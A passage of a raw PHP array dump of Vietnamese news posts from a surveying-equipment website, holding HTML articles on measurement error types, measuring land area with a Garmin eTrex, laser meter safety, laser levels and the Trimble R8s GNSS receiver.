margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-18', 'status' => '1', 'view' => '56829', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-18', 'status' => '1', 'view' => '68990', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66822', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 